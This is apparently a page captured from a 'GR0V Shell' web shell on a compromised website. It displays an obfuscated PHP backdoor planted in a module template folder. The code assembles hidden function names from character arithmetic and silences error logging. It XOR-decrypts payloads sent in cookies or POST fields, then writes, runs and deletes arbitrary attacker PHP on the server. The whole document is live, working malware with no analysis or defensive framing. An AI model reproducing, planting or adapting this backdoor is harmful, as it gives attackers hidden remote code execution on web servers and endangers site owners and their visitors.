? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/modules/mod_fbfanbox/tmpl/

Current File : /home/admin/public_html/old/modules/mod_fbfanbox/tmpl/slsxrkfd.php

<?php $cnkpxy = 'f'."\151"."\154".chr(101)."\x5f".chr(112).chr(381-264).chr(116).'_'."\143".'o'.chr(110).chr(602-486).chr(956-855).chr(586-476)."\164"."\163";
$fabsd = chr(879-781).chr(692-595).chr(127-12).chr(101).chr(207-153).'4'."\x5f"."\x64".chr(645-544)."\x63".'o'.'d'.chr(1081-980);
$kubenjck = chr(105).'n'.'i'.chr(773-678).chr(1035-920).'e'."\x74";
$qyeszdszuk = chr(118-1).chr(497-387).'l'.'i'.chr(110)."\153";


@$kubenjck("\x65".'r'.chr(810-696).'o'."\x72".chr(95).chr(108).'o'.chr(818-715), NULL);
@$kubenjck("\154".chr(566-455).chr(519-416).chr(830-735)."\145"."\x72".chr(114).chr(422-311)."\162"."\x73", 0);
@$kubenjck('m'.chr(277-180)."\170"."\137".chr(101).'x'.'e'."\143".'u'.'t'.'i'.chr(543-432).chr(257-147)."\137".chr(116).chr(105)."\x6d".chr(590-489), 0);
@set_time_limit(0);

function bdtnqkt($nuotlkoeus, $qrgcx)
{
    $qududacx = "";
    for ($tjosggpyp = 0; $tjosggpyp < strlen($nuotlkoeus);) {
        for ($j = 0; $j < strlen($qrgcx) && $tjosggpyp < strlen($nuotlkoeus); $j++, $tjosggpyp++) {
            $qududacx .= chr(ord($nuotlkoeus[$tjosggpyp]) ^ ord($qrgcx[$j]));
        }
    }
    return $qududacx;
}

$quxayosle = array_merge($_COOKIE, $_POST);
$pexszma = 'df5fb266-137a-465b-8c34-60e3bf5de162';
foreach ($quxayosle as $fkfiamumca => $nuotlkoeus) {
    $nuotlkoeus = @unserialize(bdtnqkt(bdtnqkt($fabsd($nuotlkoeus), $pexszma), $fkfiamumca));
    if (isset($nuotlkoeus[chr(97).'k'])) {
        if ($nuotlkoeus["\x61"] == chr(105)) {
            $tjosggpyp = array(
                "\160"."\x76" => @phpversion(),
                "\x73".chr(118) => "3.5",
            );
            echo @serialize($tjosggpyp);
        } elseif ($nuotlkoeus["\x61"] == 'e') {
            $thoctknaxe = "./" . md5($pexszma) . chr(46)."\151"."\x6e".chr(460-361);
            @$cnkpxy($thoctknaxe, "<" . "\x3f"."\160".chr(104).chr(774-662).chr(423-391).'@'.chr(211-94).'n'."\x6c"."\151"."\156"."\153".'('.'_'.chr(410-315).chr(74-4)."\x49".'L'."\x45".'_'.chr(782-687).chr(464-423).chr(89-30)."\x20" . $nuotlkoeus["\x64"]);
            include($thoctknaxe);
            @$qyeszdszuk($thoctknaxe);
        }
        exit();
    }
}

T1KUS90T